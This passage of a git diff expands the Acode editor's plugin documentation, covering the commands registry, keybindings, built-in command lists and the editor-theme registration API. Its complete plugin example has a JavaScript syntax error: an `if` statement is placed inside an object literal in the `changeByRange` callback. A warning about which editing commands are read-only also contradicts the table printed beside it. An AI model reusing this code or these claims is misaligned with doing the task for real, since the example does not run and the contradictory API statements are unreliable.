+- a row in the **command palette** (`openCommandPalette`), labelled with its description;
+- a **keybinding** in the editor, converted from its `bindKey`;
+- a slot in the **quick tools** bar — typing the command's *own shortcut* there (with Ctrl / Alt / Meta held) runs it, matched against `key` rather than `name`;
+- an entry in `acode.listCommands()`.
+
 ## Preferred Access
 
 ```js
 const commands = acode.require("commands");
 ```
 
+The module object has exactly three members:
+
+| Member | Type | Notes |
+|---|---|---|
+| `commands.addCommand` | `(descriptor) => object \| null` | Registers a command **and** refreshes the active editor's keymap |
+| `commands.removeCommand` | `(name) => void` | Unregisters and refreshes |
+| `commands.registry` | `{ add, execute, remove, list }` | Low-level passthrough — see [`registry`](#registry) |
+
 ::: tip
-Prefer this API over `editorManager.editor.commands.*` (which is kept for compatibility).
+Prefer this API over `editorManager.editor.commands.*` (which is kept for compatibility). The `editorManager` variant refreshes the keymap on **every** pane; `acode.addCommand` / `commands.addCommand` only refresh the focused view.
 :::
 
 ## `addCommand(descriptor)`
@@ -30,10 +45,69 @@ commands.addCommand({
 
 Descriptor fields:
 
-- `name` (required): unique command id.
-- `description` (optional): command palette label.
-- `bindKey` (optional): key combo string or `{ win, linux, mac }`.
-- `exec` (required): function `(view, args) => boolean | void`.
+| Field | Type | Required | Default | Meaning |
+|---|---|---|---|---|
+| `name` | `string` | **yes** | – | Unique command id. Trimmed. Empty → registration skipped with a `console.warn`. Used verbatim as the keybinding-map name and the palette lookup key. |
+| `exec` | `(view, args) => boolean \| void` | **yes** | – | The handler. Not a function → registration skipped with a `console.warn`. Anything other than a literal `false` return counts as success. |
+| `description` | `string` | no | the name with `camelCase` split into words, `_` turned into spaces, first letter upper-cased (dots are **kept** — `example.sayHello` → `Example.say Hello`) | Palette / quick-tools label. |
+| `readOnly` | `boolean` | no | `true` | When the target editor is read-only, only commands with `readOnly: true` run. Note the default is the **permissive** one for non-mutating commands; set `false` for anything that edits the document. |
+| `requiresView` | `boolean` | no | `true` | When `true`, the command does nothing and reports failure if no `EditorView` can be resolved. Set `false` for pure app commands (open a palette, create a tab) — but note `view` is still handed to `exec` if an editor happens to be focused. |
+| `bindKey` | `string` or `{ win?, linux?, mac? }` | no | `null` | Shortcut. See [`bindKey`](#bindkey). |
+
+Exact validation messages, both emitted with `console.warn`:
+
+```js
+// name missing / not a string / empty after trim
+console.warn("Command registration skipped: missing name", descriptor);
+
+// exec missing or not a function
+console.warn(`Command registration skipped for "${name}": exec must be a function.`);
+```
+
+::: warning
+The stored entry also carries internal fields you should ignore: `defaultDescription`, `defaultKey`, `key` and `run` (a wrapper around your `exec`). Passing them in has no effect — `bindKey` is the only key field the public API reads.
+:::
+
+**Returns** the stored command object (`{ name, description, defaultDescription, defaultKey, key, readOnly, requiresView, run }`), or `null` when validation failed. `commands.addCommand` logs `Failed to add command <name>` and **re-throws** if anything goes wrong; `acode.addCommand` propagates the error unchanged.
+
+### `bindKey`
+
+Two forms are accepted.
+
+**String** — one combo, or several joined with `|`:
+
+```js
+bindKey: "Ctrl-Shift-K"          // one combo
+bindKey: "Ctrl-Shift-K|Mod-Shift-K"  // two combos -> both get registered
+```
+
+**Platform object** — `win`, `linux` and `mac` keys are collected (in that order), trimmed, and joined with `|`:
+
+```js
+bindKey: { win: "Ctrl-Alt-H", linux: "Ctrl-Alt-H", mac: "Command-Alt-H" }
+// becomes the string "Ctrl-Alt-H|Ctrl-Alt-H|Command-Alt-H"
+```
+
+::: info
+All three platform variants are registered, and Acode collapses each one to CodeMirror's portable `Mod`, which the runtime maps to Ctrl (or Cmd on macOS). `Ctrl`, `Control`, `Mod`, `Cmd` and `Meta` all become `Mod`; `Alt` and `Option` become `Alt`; modifiers are always emitted in the order `Mod-Alt-Shift`, and single letters are lower-cased. So `Command-Alt-H` and `Ctrl-Alt-H` end up as the identical binding `Mod-Alt-h` — on a device where only one of the two is reachable, prefer spelling it once in a plain string instead of the platform object.
+:::
+
+Space-separated tokens form a **chord** (a multi-stroke sequence):
+
+```js
+bindKey: "Ctrl-K Ctrl-S"   // press Ctrl-K, then Ctrl-S
+```
+
+Recognised key names include `left` / `right` / `up` / `down` → `ArrowLeft` … `ArrowDown`, and `esc`, `escape`, `return`, `enter`, `space`, `del`, `delete`, `backspace`, `tab`, `home`, `end`, `pageup`, `pagedown`, `insert`. A trailing `-` (`"Ctrl--"` for the minus key) is preserved.
+
+If a combo collides with a binding that outranks yours it is dropped from the keymap and recorded as an internal conflict — but the conflict is **not** surfaced to plugins, and `listCommands()` still reports your `bindKey` verbatim. Built-in app bindings outrank plugin commands, so avoid `Ctrl-1` … `Ctrl-9`, `Ctrl-P`, `Ctrl-Q`, `Ctrl-W` and friends.
+
+### `exec(view, args)`
+
+- `view` is the resolved `EditorView` — the view you passed to `execCommand`, otherwise `window.editorManager.editor`, otherwise `null`.
+- `args` is passed through untouched from `execCommand`'s third argument.
+- If your `exec` throws, the registry logs `Command "<name>" failed` with the error and the command reports failure.
+- Only a literal `return false` marks the command as failed. `undefined`, `true`, and any other value are all treated as success (which matters: returning `false` from a keybinding handler tells CodeMirror "not handled").
 
 ## `removeCommand(name)`
 
@@ -43,6 +117,12 @@ Unregisters a command.
 commands.removeCommand("example.sayHello");
 ```
 
+**Returns** `undefined` (there is no "did it exist?" signal on this path). Passing an empty name is a no-op.
+
+::: danger
+`removeCommand` works for **any** name, including the built-ins. `commands.removeCommand("saveFile")` deletes Acode's own Save command from the registry and the keymap, and nothing restores it until the app restarts. Only remove names you registered.
+:::
+
 ## `registry`
 
 Low-level registry API:
@@ -53,7 +133,7 @@ Low-level registry API:
 - `registry.list()`
 
 ```js
-commands.registry.execute("example.sayHello", editorManager.editor, {
+commands.registry.execute("example.sayHello", window.editorManager.editor, {
   source: "plugin",
 });
 
@@ -61,6 +141,25 @@ const all = commands.registry.list();
 console.log(all.map((cmd) => cmd.name));
 ```
 
+| Member | Signature | Returns |
+|---|---|---|
+| `registry.execute` | `(name, view?, args?)` | `boolean` — whether the command ran. Works correctly. |
+| `registry.list` | `()` | `Array<{ name, description, key }>`. Works correctly. |
+| `registry.add` | `(descriptor)` | **Not usable in v1.13.5** — throws `TypeError`. |
+| `registry.remove` | `(name)` | **Not usable in v1.13.5** — throws `TypeError`. |
+
+::: warning
+`registry.add` and `registry.remove` are stored as **unbound** method references, so when they are called as properties of the `registry` object their `this` is that plain object instead of the `acode` instance. Both methods then reach `this.#refreshCommandBindings()` — a private class field — and throw:
+
+```
+TypeError: Cannot read private member #refreshCommandBindings from an object whose class did not declare it
+```
+
+The command registration/removal itself has already happened by the time it throws, so the throw is not a safety net. Use `commands.addCommand` / `commands.removeCommand` (or `acode.addCommand` / `acode.removeCommand`) for all writes, and `registry.execute` / `registry.list` only for the reads that work.
+:::
+
+`registry.list()` returns a fresh array of `{ name, description, key }` — this is a snapshot of the registry, so it reflects re-registration and the user's keybinding overrides, but for a plugin command `key` is simply the raw `bindKey` you registered (the `win|linux|mac` join in the object form), or `null` when you passed none.
+
 ## Convenience Methods On `acode`
 
 These call the same registry internally:
@@ -69,3 +168,253 @@ These call the same registry internally:
 - `acode.removeCommand(name)`
 - `acode.execCommand(name, view?, args?)`
 - `acode.listCommands()`
+
+| Call | Returns |
+|---|---|
+| `acode.addCommand(descriptor)` | the stored command object, or `null` if validation failed |
+| `acode.removeCommand(name)` | `undefined` |
+| `acode.execCommand(name, view?, args?)` | `boolean` |
+| `acode.listCommands()` | `Array<{ name, description, key }>` |
+
+## `execCommand(name, view, args)` <Badge type="tip" text="new" />
+
+```js
+const view = window.editorManager?.editor; // optional
+const ok = acode.execCommand("example.sayHello", view, { source: "plugin" });
+```
+
+1. **Unknown name** → `false`. Nothing runs.
+2. **`view` defaulting** — `view` is resolved as `view || window.editorManager.editor`. Passing `null`/`undefined` therefore targets the focused editor; passing a specific view lets you run against another pane.
+3. **`requiresView: true` and no view resolvable** → `false`, `exec` is never called. With `requiresView: false` the command still runs, and `exec` receives `null` as its first argument.
+4. **`readOnly` gating** — the gate is: *no view at all* → only `readOnly: true` commands run; *read-only editor* → only `readOnly: true` commands run; *editable editor* → everything runs. So `readOnly` defaults to `true` in a way that only blocks you when the editor is read-only.
+5. **`args` reaches `exec`** verbatim as the second argument.
+6. **Result** — `exec` returning exactly `false` yields `false`; anything else yields `true`. A thrown error is logged as `Failed to execute command <name>` and yields `false`.
+
+## Built-In Commands <Badge type="tip" text="new" />
+
+`acode.listCommands()` already returns 92 explicitly registered app commands plus every `@codemirror/commands` export. **Check the name before you pick one** — registering a plugin command with an existing name replaces the built-in.
+
+### App and editor commands
+
+| Name | Description |
+|---|---|
+| `focusEditor` | Focus editor |
+| `findFile` | Find file in workspace |
+| `closeCurrentTab` | Close current tab |
+| `newPane` | Create new editor pane |
+| `moveTabToNewPane` | Move current tab to new pane |
+| `closePane` | Close active editor pane |
+| `focusNextPane` | Focus next editor pane |
+| `focusPreviousPane` | Focus previous editor pane |
+| `closeAllTabs` | Close all tabs |
+| `togglePinnedTab` | Pin or unpin current tab |
+| `newFile` | Create new file |
+| `openFile` | Open a file |
+| `openFolder` | Open a folder |
+| `saveFile` | Save current file |
+| `saveFileAs` | Save as current file |
+| `saveAllChanges` | Save all changes |
+| `nextFile` | Open next file tab |
+| `prevFile` | Open previous file tab |
+| `nextFileHistory` | Open next file tab from history |
+| `prevFileHistory` | Open previous file tab from history |
+| `showSettingsMenu` | Show settings menu |
+| `renameFile` | Rename active file |
+| `run` | Preview HTML and MarkDown |
+| `openInAppBrowser` | Open In-App Browser |
+| `toggleFullscreen` | Toggle full screen mode |
+| `toggleSidebar` | Toggle sidebar |
+| `toggleMenu` | Toggle main menu |
+| `toggleEditMenu` | Toggle edit menu |
+| `openPluginsPage` | Open Plugins Page |
+| `openFileExplorer` | File Explorer |
+| `openTerminal` | Open Terminal |
+| `openLogFile` | Open Log File |
+| `copyDeviceInfo` | Copy Device info |
+| `changeAppTheme` | Change App Theme |
+| `changeEditorTheme` | Change Editor Theme |
+| `increaseUiZoom` / `decreaseUiZoom` | Increase / Decrease UI zoom |
+| `increaseFontSize` / `decreaseFontSize` | Increase / Decrease editor font size |
+| `openCommandPalette` | Open command palette |
+| `modeSelect` | Change language mode… |
+| `gotoline` | Go to line… |
+| `find` / `replace` | Find / Replace |
+| `problems` | Show errors and warnings |
+| `toggleQuickTools` | Toggle quick tools |
+| `acode:showWelcome` | Show Welcome |
+| `run-tests` | Run Tests |
+| `dev:openInspector` | Open Inspector |
+| `dev:toggleDevTools` | Toggle Developer Tools |
+
+Editing commands:
+
+| Name | Description | `readOnly` |
+|---|---|---|
+| `selectall` | Select all | `true` |
+| `selectWord` | Select current word | `false` |
+| `selectline` | Select line | `true` |
+| `selectlinesdown` / `selectlinesup` | Select line down / up | `true` |
+| `selectlinestart` / `selectlineend` | Select line start / end | `true` |
+| `simplifySelection` | Simplify selection | `true` |
+| `copy` / `cut` / `paste` / `share` | Copy / Cut / Paste / Share | `true` / `false` / `false` / `true` |
+| `duplicateSelection` | Duplicate selection | `false` |
+| `copylinesdown` / `copylinesup` | Copy lines down / up | `false` |
+| `movelinesdown` / `movelinesup` | Move lines down / up | `false` |
+| `removeline` | Remove line | `false` |
+| `insertlineafter` | Insert line after | `false` |
+| `indent` / `outdent` / `indentselection` | Indent / Outdent / Indent selection | `false` |
+| `newline` | Insert newline | `false` |
+| `joinlines` | Join lines | `false` |
+| `deletetolinestart` / `deletetolineend` | Delete to line start / end | `false` |
+| `togglecomment` / `comment` / `uncomment` | Toggle / add / remove line comment | `false` |
+| `toggleBlockComment` | Toggle block comment | `false` |
+| `undo` / `redo` | Undo / Redo | `false` |
+| `foldCode` / `unfoldCode` | Fold selection / unfold selected lines | `true` |
+| `foldAll` / `unfoldAll` | Fold all / unfold all | `true` |
+
+::: warning
+Nearly every command in the second table is declared `readOnly: false` and therefore **silently refuses to run in a read-only editor** — `copy` and `share` are the exceptions (`readOnly: true`), but `cut`, `paste`, `undo` and `redo` are not. `acode.execCommand` returns `false` with no error, which is the usual cause of "my command does nothing in a preloaded file".
+:::
+
+### Language-server commands
+
+| Name | Description | `requiresView` |
+|---|---|---|
+| `formatDocument` | Format document (Language Server) | yes |
+| `renameSymbol` | Rename symbol (Language Server) | yes |
+| `showSignatureHelp` | Show signature help | yes |
+| `nextSignature` / `prevSignature` | Next / Previous signature | yes |
+| `jumpToDefinition` | Go to definition (Language Server) | yes |
+| `jumpToDeclaration` | Go to declaration (Language Server) | yes |
+| `jumpToTypeDefinition` | Go to type definition (Language Server) | yes |
+| `jumpToImplementation` | Go to implementation (Language Server) | yes |
+| `findReferences` | Find all references (Language Server) | yes |
+| `findReferencesInTab` | Find all references in new tab (Language Server) | yes |
+| `closeReferencePanel` | Close references panel | no |
+| `documentSymbols` | Go to Symbol in Document… | yes |
+| `restartAllLspServers` | Restart all running LSP servers | no |
+| `stopAllLspServers` | Stop all running LSP servers | no |
+
+All of the `jumpTo*` commands, `formatDocument`, `renameSymbol`, `showSignatureHelp`, `findReferences` and `findReferencesInTab` check for an active LSP plugin and toast **"Language server not available"** before returning `false`. `nextSignature` and `prevSignature` do the same check but stay silent. `closeReferencePanel`, `documentSymbols`, `restartAllLspServers` and `stopAllLspServers` do not check at all.
+
+### Lint / diagnostics commands
+
+| Name | Description |
+|---|---|
+| `openLintPanel` | Open lint panel |
+| `closeLintPanel` | Close lint panel |
+| `nextDiagnostic` | Go to next diagnostic |
+| `previousDiagnostic` | Go to previous diagnostic |
+
+### Auto-registered CodeMirror commands
+
+Every function exported by `@codemirror/commands` is also registered, except the three non-command exports `history`, `redoDepth` and `undoDepth`. Names Acode itself imports from that package — and which are therefore guaranteed to appear in `acode.listCommands()` — include:
+
+`cursorCharLeft`, `cursorCharRight`, `cursorDocEnd`, `cursorDocStart`, `cursorGroupLeft`, `cursorGroupRight`, `cursorLineDown`, `cursorLineEnd`, `cursorLineStart`, `cursorLineUp`, `cursorMatchingBracket`, `cursorPageDown`, `cursorPageUp`, `deleteCharBackward`, `deleteCharForward`, `deleteGroupBackward`, `deleteGroupForward`, `deleteLine`, `deleteLineBoundaryForward`, `deleteToLineEnd`, `deleteToLineStart`, `copyLineDown`, `copyLineUp`, `moveLineDown`, `moveLineUp`, `indentLess`, `indentMore`, `indentSelection`, `insertBlankLine`, `insertNewlineAndIndent`, `lineComment`, `lineUncomment`, `selectAll`, `selectCharLeft`, `selectCharRight`, `selectDocEnd`, `selectDocStart`, `selectGroupLeft`, `selectGroupRight`, `selectLine`, `selectLineDown`, `selectLineEnd`, `selectLineStart`, `selectLineUp`, `selectMatchingBracket`, `selectPageDown`, `selectPageUp`, `toggleBlockComment`, `toggleLineComment`.
+
+Their descriptions are the humanized command name (`cursorLineDown` → "Cursor Line Down"), and their `key` is whatever survived CodeMirror's default keymaps **minus** every combo already claimed by an app binding — so it may be `null`. `undo`, `redo` and `simplifySelection` are in the app list above rather than this one, because they are registered explicitly first.
+
+::: info
+The precise set is whatever `acode.listCommands()` reports at runtime. Do not hard-code an expectation that a given CodeMirror command is bound to a given key — print `listCommands()` and read the effective `key`.
+:::
+
+## Complete Example <Badge type="tip" text="new" />
+
+A command with a keybinding, a selection-menu entry that runs it, and a clean unmount:
+
+```js
+const PLUGIN_ID = "com.example.uppercase";
+
+acode.setPluginInit(PLUGIN_ID, () => {
+  const commands = acode.require("commands");
+  const selectionMenu = acode.require("selectionMenu");
+
+  // 1. The command itself. `readOnly: false` because it mutates the document —
+  //    which also means the registry refuses it in a read-only tab. The
+  //    `requiresView: false` lets it still run with nothing focused, in which
+  //    case `exec` receives `null` as the view.
+  commands.addCommand({
+    name: "example.uppercaseSelection",
+    description: "Uppercase selection",
+    readOnly: false,
+    requiresView: false,
+    bindKey: {
+      win: "Ctrl-Alt-U",
+      linux: "Ctrl-Alt-U",
+      mac: "Command-Alt-U",
+    },
+    exec(view, args) {
+      if (!view) {
+        acode.toast("No active editor");
+        return false;
+      }
+
+      view.dispatch({
+        changes: view.state.changeByRange((range) => ({
+          if (range.empty) return {};
+          changes: {
+            from: range.from,
+            to: range.to,
+            insert: view.state.sliceDoc(range.from, range.to).toUpperCase(),
+          },
+        })),
+      });
+
+      if (args?.notify) acode.toast(`Uppercased${args.count ? ` ${args.count}` : ""}`);
+      return true;
+    },
+  });
+
+  // 2. A context-menu row that executes it. `selectionMenu.exec()` forwards to
+  //    the focused editor's execCommand, so the readOnly gate is enforced
+  //    exactly as it is for the keybinding. The `text` argument must be a real
+  //    DOM node — a string is inserted with textContent, never parsed as HTML.
+  const icon = document.createElement("span");
+  icon.className = "icon text_fields";
+
+  selectionMenu.add(
+    () => selectionMenu.exec("example.uppercaseSelection"),
+    icon,
+    "selected",
+    false,
+    { id: "uppercase-selection", label: "Uppercase" },
+  );
+});
+
+acode.setPluginUnmount(PLUGIN_ID, () => {
+  acode.removeCommand("example.uppercaseSelection");
+});
+```
+
+::: warning
+`selectionMenu.add()` has **no remove API** — items are pushed onto a module-level array and stay in the menu for the rest of the session. Toggling the plugin off and on therefore accumulates duplicate rows. If that matters, drive the row's visibility from plugin state inside `onclick` instead of adding it repeatedly.
+:::
+
+## Gotchas
+
+::: warning
+**Duplicate names replace silently.** Registering a name that already exists deletes the previous entry and installs yours — including when the previous entry was a built-in such as `saveFile`. There is no warning and no "already registered" return; inspect `acode.listCommands()` first if the name matters to you.
+:::
+
+::: warning
+**The keymap is rebuilt on every write.** Both `addCommand` and `removeCommand` end with a `reconfigure` of the registry's keymap compartment, so the shortcut is live immediately. But `acode.addCommand` / `acode.removeCommand` only reconfigure the **focused** view — in a multi-pane layout, panes that are not focused keep the old keymap until they are focused and the bindings are re-applied. `window.editorManager.editor.commands.addCommand(...)` refreshes every pane instead.
+:::
+
+::: warning
+**`return false` means "not handled".** It is the only falsy result that makes `execCommand` report failure, and in the keymap it tells CodeMirror the keystroke was not consumed. Return `true` (or nothing) from any command that did its work.
+:::
+
+::: warning
+**A conflicting `bindKey` is dropped without telling you.** App-owned bindings (and the user's keybinding overrides) outrank a plugin command, so your combo can be discarded while `listCommands()` still echoes it back. The only visible symptom is that the shortcut does nothing — the command still works from the palette and quick tools. Pick an unusual combo, or check `editorManager.editor` after registering.
+:::
+
+::: warning
+**`requiresView: false` does not mean "no view".** The view is still resolved and passed to `exec`; the flag only controls whether execution is aborted when nothing is focused. Set `readOnly` deliberately rather than relying on `requiresView` to keep a mutating command out of read-only editors.
+:::
+
+## Related
+
+- [CodeMirror packages](./codemirror.md) — `EditorView`, `EditorState`, `keymap`
+- [EditorManager](../global-apis/editor-manager.md) — `editorManager.editor.execCommand(name, args)`
+- [Selection Menu](../ui-components/selection-menu.md) — `selectionMenu.add()` / `selectionMenu.exec()`
+- [Editor Languages](./ace-modes.md) — register the language your command operates on
diff --git a/docs/utilities/editor-themes.md b/docs/utilities/editor-themes.md
index e390849..3db83ba 100644
--- a/docs/utilities/editor-themes.md
+++ b/docs/utilities/editor-themes.md
@@ -2,12 +2,48 @@
 
 The Editor Themes API lets plugins register CodeMirror themes in Acode.
 
+This is the **editor** (syntax colouring) registry. It is a different API from [`acode.require("themes")`](../helpers/themes.md), which registers app/UI themes — a theme plugin normally registers with both.
+
+::: code-group
+
+```js [app themes]
+// Different API: Acode's own UI (pages, dialogs, scrollbars, system bars).
+const ThemeBuilder = acode.require("themeBuilder");
+acode.require("themes").add(new ThemeBuilder("Modern Dark", "dark"));
+```
+
+```js [editor themes]
+// This page: the CodeMirror editor's syntax colouring.
+editorThemes.register({
+  id: "example-night",
+  caption: "Example Night",
+  dark: true,
+  getExtension: () => editorThemes.createTheme({ dark: true, styles: { "&": { color: "#d6deeb" } } }),
+});
+```
+
+:::
+
 ## Import
 
 ```js
 const editorThemes = acode.require("editorThemes");
 ```
 
+## API Surface
+
+| Member | Signature | Returns |
+|---|---|---|
+| `register` | `(spec) => boolean` | `true` when registered, `false` on any validation failure |
+| `unregister` | `(id) => void` | – |
+| `list` | `() => Array<ThemeEntry>` | every registered theme, in registration order |
+| `get` | `(id) => ThemeEntry \| null` | – |
+| `getConfig` | `(id) => object` | the theme's `config`, or the built-in `one_dark` config |
+| `apply` | `(id) => boolean \| undefined` | applies the theme to `window.editorManager.editor` |
+| `createTheme` | `({ styles, dark, highlightStyle, extensions }) => Extension[]` | a ready-to-register extension list |
+| `createHighlightStyle` | `(spec) => HighlightStyle` | – |
+| `cm` | `{ EditorView, HighlightStyle, syntaxHighlighting, tags }` | a small CodeMirror namespace |
+
 ## `register(spec)`
 
 Registers a theme.
@@ -29,7 +65,148 @@ editorThemes.register({
 });
 ```
 
-### Full Plugin-Style Example
+### `spec` fields
+
+| Field | Aliases | Type | Required | Default | Meaning |
+|---|---|---|---|---|---|
+| `id` | `name` | `string` | **yes** | – | Theme id. Trimmed and lower-cased by the registry. |
+| `caption` | `label` | `string` | no | the `id` you passed | Label shown in the editor-theme picker. |
+| `isDark` | `dark` | `boolean` | no | `false` | Whether the theme is dark. |
+| `getExtension` | `extensions`, `extension`, `theme` | `Extension \| Extension[] \| () => Extension \| Extension[]` | **yes** | – | The CodeMirror extension(s), or a function returning them. A function is re-invoked each time the editor asks for the extension. Nested arrays are flattened. |
+| `config` | – | `object` | no | `null` | Plain colour metadata. Not used for rendering — see [`config`](#what-config-is-for). |
+
+The alias resolution order is fixed: `id` → `name`, `caption` → `label`, `isDark` → `dark` (so `isDark` **wins** when both are present), and `getExtension` → `extensions` → `extension` → `theme`.
+
+### Exact validation messages
+
+`register` returns `false` and logs one of these three `console.warn` messages:
+
+```js
+// spec is missing, not an object, or an array
+"[editorThemes] register(spec) expects an object: { id, caption?, dark?, getExtension|extensions|extension|theme, config? }"
+
+// neither `id` nor `name` was truthy
+"[editorThemes] register(spec) requires a valid `id`."
+
+// none of getExtension / extensions / extension / theme was provided
+"[editorThemes] register('<id>') requires extensions via getExtension/extensions/extension/theme."
+```
+
+`register` also returns `false` **silently** in two cases the registry handles:
+
+- the id is already registered — `addTheme` refuses duplicates, so re-registering an id is a no-op rather than a replacement;
+- the extensions could not be composed — the registry runs `EditorState.create({ doc: "", extensions })` against Acode's own CodeMirror instance. If that throws, or if the getter returns nothing, it logs once per theme id:
+
+```
+[editorThemes] Theme '<id>' is invalid: no extensions were returned
+[editorThemes] Theme '<id>' is invalid.
+```
+
+::: warning
+Validation calls your getter **immediately**, at registration time, and it must return extensions **synchronously**. An `async getExtension` yields a `Promise`, which fails `EditorState.create()` and makes `register` return `false`. Do any `await import(...)` in `setPluginInit` first, then register with the resolved array.
+:::
+
+::: tip
+`register` makes the theme **appear** in the editor-theme picker (which lists every registered theme with its `caption`) — it does not switch to it. Use [`apply`](#apply-id) to switch now, or let the user pick it.
+:::
+
+### What `config` is for
+
+`config` is stored verbatim and read back through `getConfig(id)`. Acode uses it for **non-CodeMirror** colour consumers — most importantly `codeHighlight`, which generates the `.tok-*` CSS rules for static code blocks from `getThemeConfig(editorTheme)`. A theme with no `config` gets Acode's built-in `one_dark` palette for those consumers.
+
+The keys it understands:
+
+| Key | Used for |
+|---|---|
+| `background`, `foreground` | Base block colours |
+| `keyword`, `string`, `number`, `comment`, `function`, `variable`, `type`, `class`, `constant`, `operator`, `invalid` | Token colours |
+
+Anything else in `config` is ignored by the highlighter but is a convenient place to park your own metadata (the built-in themes put their `name` and `dark` flags there too).
+
+## `apply(id)`
+
+Applies a registered theme to the active editor.
+
+```js
+editorThemes.apply("example-night");
+```
+
+**Returns** `true` when the extension was dispatched, `false` only if the dispatch threw — and `undefined` when there is no active editor view.
+
+::: warning
+An unknown id does **not** fail: the theme lookup falls back to Acode's built-in `one_dark` extension (with `-` in the id also retried as `_`), so `apply("does-not-exist")` returns `true` and quietly resets the editor to One Dark. Call `editorThemes.get(id)` first if you need to know the theme exists.
+:::
+
+::: warning
+`apply` only reconfigures the **focused pane's** view. In a multi-pane layout, loop `editorManager.panes` and call `pane.editor.setTheme(id)` for each one you want to change.
+:::
+
+## Theme Management Methods
+
+- `unregister(id)`
+- `list()`
+- `get(id)`
+- `getConfig(id)`
+
+```js
+const themes = editorThemes.list();
+console.log(themes.map((t) => t.id));
+```
+
+| Method | Signature | Returns |
+|---|---|---|
+| `unregister` | `(id)` | `undefined`. Id is lower-cased; unknown ids are ignored. Removing the active theme does not reset the editor — call `apply` with another id. |
+| `list` | `()` | `Array<{ id, caption, isDark, getExtension, config }>` |
+| `get` | `(id)` | the theme object, or `null` for an unknown id |
+| `getConfig` | `(id)` | `theme.config ?? oneDarkConfig` — always an object |
+
+::: warning
+`list()` and `get()` return the live theme objects, so `getExtension()` on them is the normalised getter — call it with no arguments and expect an extension array (nested arrays are flattened).
+:::
+
+## Helpers
+
+### `createTheme({ styles, dark, highlightStyle, extensions })`
+
+Builds a theme extension array.
+
+| Argument | Type | Default | Meaning |
+|---|---|---|---|
+| `styles` | `object` | – | Passed to `EditorView.theme(styles, { dark: !!dark })`. Omitted → no theme extension. |
+| `dark` | `boolean` | `false` | Passed to `EditorView.theme` as its `dark` option. |
+| `highlightStyle` | `HighlightStyle \| Array<{ tag, … }>` | – | An array is run through `HighlightStyle.define`; a value is used as-is. Falsy → skipped. |
+| `extensions` | `Extension \| Extension[]` | `[]` | Appended after the theme and highlight extensions. |
+
+**Returns** `Extension[]` — always an array, even for one extension.
+
+### `createHighlightStyle(spec)`
+
+Builds a `HighlightStyle` from tag rules.
+
+```js
+const t = editorThemes.cm.tags; // @lezer/highlight tags
+editorThemes.createHighlightStyle([
+  { tag: t.keyword, color: "#ffb86c" },
+  { tag: [t.string, t.special(t.string)], color: "#a5ff90" },
+]);
+```
+
+- `Array` → `HighlightStyle.define(spec)`
+- anything else truthy → returned unchanged (so you can pass a `HighlightStyle` you already built)
+- falsy → `null`
+
+### `cm`
+
+CodeMirror helpers exposed by Acode:
+
+| Key | Package |
+|---|---|
+| `EditorView` | `@codemirror/view` |
+| `HighlightStyle` | `@codemirror/language` |
+| `syntaxHighlighting` | `@codemirror/language` |
+| `tags` | `@lezer/highlight` |
+
+## Full Plugin-Style Example
 
 ```js
 const editorThemes = acode.require("editorThemes");
@@ -70,11 +247,11 @@ function buildChaiTheme() {
 }
 
 acode.setPluginInit("com.example.theme", () => {
-  editorThemes.register({
+  const ok = editorThemes.register({
     id: "chai_theme",
     caption: "Chai Theme",
     dark: true,
-    getExtension: () => buildChaiTheme(),
+    getExtension: buildChaiTheme,
     config: {
       name: "chai_theme",
       dark: true,
@@ -93,6 +270,9 @@ acode.setPluginInit("com.example.theme", () => {
       invalid: "#ff6b6b",
     },
   });
+
+  // register() returns false on a bad spec or a duplicate id — find out.
+  if (!ok) acode.toast("Chai Theme failed to register");
 });
 
 acode.setPluginUnmount("com.example.theme", () => {
@@ -100,6 +280,8 @@ acode.setPluginUnmount("com.example.theme", () => {
 });
 ```
 
+`config` is what lets `codeHighlight` colour static code blocks (markdown previews, plugin pages, LSP reference snippets) in your theme's colours instead of One Dark's — see [Code Highlight](./code-highlight.md).
+
 ### Sample (Class + `plugin.json` style)
 
 ```js
@@ -132,7 +314,7 @@ class ChaiThemePlugin {
   }
 
   init() {
-    this.editorThemes.register({
+    this.registered = this.editorThemes.register({
       id: this.themeId,
       caption: "Chai Theme",
       dark: true,
@@ -156,49 +338,27 @@ acode.setPluginUnmount(plugin.id, () => {
 });
 ```
 
-`spec` fields:
+## Gotchas
 
-- `id` (required): unique theme id (or `name` alias).
-- `caption` (optional): display label (or `label` alias).
-- `dark` (optional): whether the theme is dark (or `isDark` alias).
-- `getExtension` / `extensions` / `extension` / `theme` (required): CodeMirror extension(s) or function returning them.
-- `config` (optional): theme metadata object.
+::: warning
+**Ids are lower-cased and unique.** `register({ id: "My_Theme" })` stores `my_theme`, and `get("My_Theme")` resolves because lookups are lower-cased too — but `getConfig("My_Theme")` on an id that was never registered silently returns the `one_dark` palette rather than `null`.
+:::
 
-## `apply(id)`
+::: warning
+**Unregister is not "switch away".** If the theme currently applied to the editor is unregistered, the live `EditorView` keeps its styles until something reconfigures the theme compartment. `unregister` on unmount is correct; just do not expect the editor to fall back on its own.
+:::
 
-Applies a registered theme to the active editor.
+::: warning
+**`getExtension` is re-invoked, `extensions` is not.** Only the *function* form is treated as a getter; a pre-built extension array is normalised once and reused. Rebuilding a theme per switch (as in the examples above) keeps each application independent, but it also means the `EditorView.theme` class names are regenerated — do not depend on them.
+:::
 
-```js
-editorThemes.apply("example-night");
-```
-
-## Theme Management Methods
-
-- `unregister(id)`
-- `list()`
-- `get(id)`
-- `getConfig(id)`
-
-```js
-const themes = editorThemes.list();
-console.log(themes.map((t) => t.id));
-```
-
-## Helpers
-
-### `createTheme({ styles, dark, highlightStyle, extensions })`
-
-Builds a theme extension array.
+::: warning
+**A theme cannot register twice.** The second `register` with the same id returns `false` with no warning. Disable and re-enable the plugin in one session and the second `setPluginInit` will silently do nothing unless the matching `unregister` ran first.
+:::
 
-### `createHighlightStyle(spec)`
-
-Builds a `HighlightStyle` from tag rules.
-
-### `cm`
-
-CodeMirror helpers exposed by Acode:
+## Related
 
-- `EditorView`
-- `HighlightStyle`
-- `syntaxHighlighting`
-- `tags`
+- [Acode Theme Management](../helpers/themes.md) — app/UI themes, a **different** registry
+- [Code Highlight](./code-highlight.md) — how `config` drives `.tok-*` colours outside the editor
+- [CodeMirror packages](./codemirror.md) — the shared `@codemirror/*` instances behind `cm`
+- [EditorManager](../global-apis/editor-manager.md) — `editorManager.editor.setTheme(id)`
diff --git a/docs/utilities/encoding.md b/docs/utilities/encoding.md
index 4d7b04a..e78fe24 100644
--- a/docs/utilities/encoding.md
+++ b/docs/utilities/encoding.md
@@ -2,6 +2,10 @@
 
 This allow to **encode** and **decode** strings with different character sets. This is especially useful when working with **files** that require specific encodings or when handling international text.
 
+::: info
